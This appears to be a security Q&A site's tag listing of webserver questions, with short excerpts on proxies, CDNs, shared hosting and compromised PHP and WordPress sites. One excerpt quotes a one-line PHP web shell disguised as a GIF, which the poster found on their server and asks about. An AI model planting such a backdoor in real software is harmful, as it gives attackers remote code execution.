A system whose primary function is to deliver web pages on request to clients.

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10
votes
5answers
11k views

Benefits of identifying clients based upon the “X-Forwarded-For” or similar HTTP header in addition to Client IP

The X-Forwarded-For header is used by some HTTP proxies to identify the IP address of the client. The wiki page (linked above) mentions that ISPs may use this header as well. In addition there are a ...
8
votes
3answers
693 views

Does hiding version numbers increase my security? [duplicate]

I’m currently trying to improve the security at our work. This sounds very broad, but, for example, I’m penetrating our systems and checking whether servers are vulnerable to certain exploits. As an ...
8
votes
2answers
297 views

Can other customers on shared hosting see requests from/to my site?

I installed a wiki on my shared webhosting (using Apache) account. This wiki is set to private (no read/edit/create rights for unauthorized users) and I'm the only one with an account. The wiki ...
6
votes
3answers
2k views

What's involved in taking over someone else's domain name?

I'm asking this for purely academic reasons. I know that there are domain record lists and whatnot, but I'm trying to understand the exact structure of how DNS works and where someone can potentially ...
2
votes
2answers
3k views

How to check if a website is sending out a virus?

I'm a webmaster at a company without much knowledge of IT Security. We are running 6 computers connected to a central server that also hosts our website. 3 out of 6 people in the office have gotten ...
1
vote
1answer
198 views

What is LFI vulnerability

LFI: Local file inclusion. After going through many tutorials I have two things I can/t figure out: checking the vulnerability: I don't understand what makes a website vulnerable or not. For ...
19
votes
3answers
2k views

What are the risks of using a CDN to speed up my website? How do I avoid them?

Content Delivery Networks (CDNs) are well known to speed up the performance of a website, but they create the obvious security risks if someone were to change the code that resides on the CDN. What ...
15
votes
4answers
876 views

If a website allows another person to get a list of the site's users passwords, how likely is it that the passwords are stored in cleartext?

We had an incident where some of our managers were given passwords for the people they supervise using a particular company website. Ostensibly it was done so the managers could check in on the users ...
10
votes
2answers
2k views

CloudFlare benefits or drawbacks

Anyone running a webserver would agree, security can be a hustle and tedious job. Recently I came across a service claiming to help with that -- CloudFlare.com. There's plenty of benefits listed on ...
8
votes
5answers
851 views

Can I improve website security by storing SSL Keys in DNS? Is DNSSec required? Are threat models available?

In light of recent attacks on SSL/TLS communication, people have been asking about ways to improve the security of SSL webserver communication. Several great solutions have been mentioned in the ...
7
votes
3answers
457 views

Popularity of Anomaly based IDSes

I've been reading quite some time about anomaly/behavior based IDSes for Web servers. I understand the downsides: possible high false positives, learning phase, constant training. My question is how ...
4
votes
2answers
1k views

How helpful is rkhunter?

I have a software firewall implemented on my server, and I have closed all unnecessary ports. I have strong passwords, and I validate user input on my website. With these things already in place, do ...
4
votes
1answer
625 views

VPS Safety in the Cloud

Imagine you are running a web server on a Virtual Private Server (VPS) hosted in a datacenter. Could the people running the datacenter covertly read files from my VPS's hard disk? Could an attacker ...
3
votes
1answer
471 views

Mitigation Strategies for Response Spliting Attack

I am not going into basics of HTTP response splitting attack as above figure completing describes the working of such a attack. Previous Post have also discussed working of such a attack ASP.NET ...
3
votes
4answers
3k views

Determining the point of compromise on an infected web server?

Recently a friend of mine has had his web server compromised - all PHP files were injected with malicious code, in particular one that looks to be called "GetMama". If I look this up, it seems that ...
2
votes
2answers
112 views

Is this PHP file containing an eval to a POST variable an indication of compromise?

I found this file on my server, it contains the following code: GIF89a <?php eval ($_POST[plm12345plm]); ?> There is no other code beside that one above. Is this malicious?
2
votes
1answer
248 views

What security does nginx provide between server blocks?

What security does nginx provide between server blocks? Here is an example scenario. Say I have two server blocks configured with nginx. Each serves up a web application to authenticated users. I ...
1
vote
1answer
278 views

Is opportunistic encryption support optional for HTTP/2?

I'm a little unclear on the subject of opportunistic encryption of the HTTP:// address scheme in HTTP/2. According to the bug report, it looks like it's kinda optional, and an afterthought: ...
1
vote
1answer
3k views

WordPress Hacked - Found a suspicious “class-wp-style-table.php” [closed]

I recently had all of my WordPress accounts on my server hacked. The only suspicious files I found are listed below. These were the only files edited in the last 5 days (June 3, to be specific). ...
1
vote
3answers
460 views

Is this approach of securing cookie secure?

I could not find writeups about secure cookies so I have done some thinking. (I already have a "secure" password database with bcrypt and salt) Steps: User logs in Save user IP + randomstring in ...
0
votes
1answer
496 views

Data Retention Laws for ISPs in North America

I was reading an article on TorrentFreak where Private Internet Access claims the United States "is one of the only countries without a mandatory data retention law." According to the linked article ...
-6
votes
2answers
595 views

PHP injection on 777 file [closed]

Some one has modified a PHP file, which had permissions set to 777, on my VPS server. How can someone do that without administrative access to the server? What information I can give you? I know ...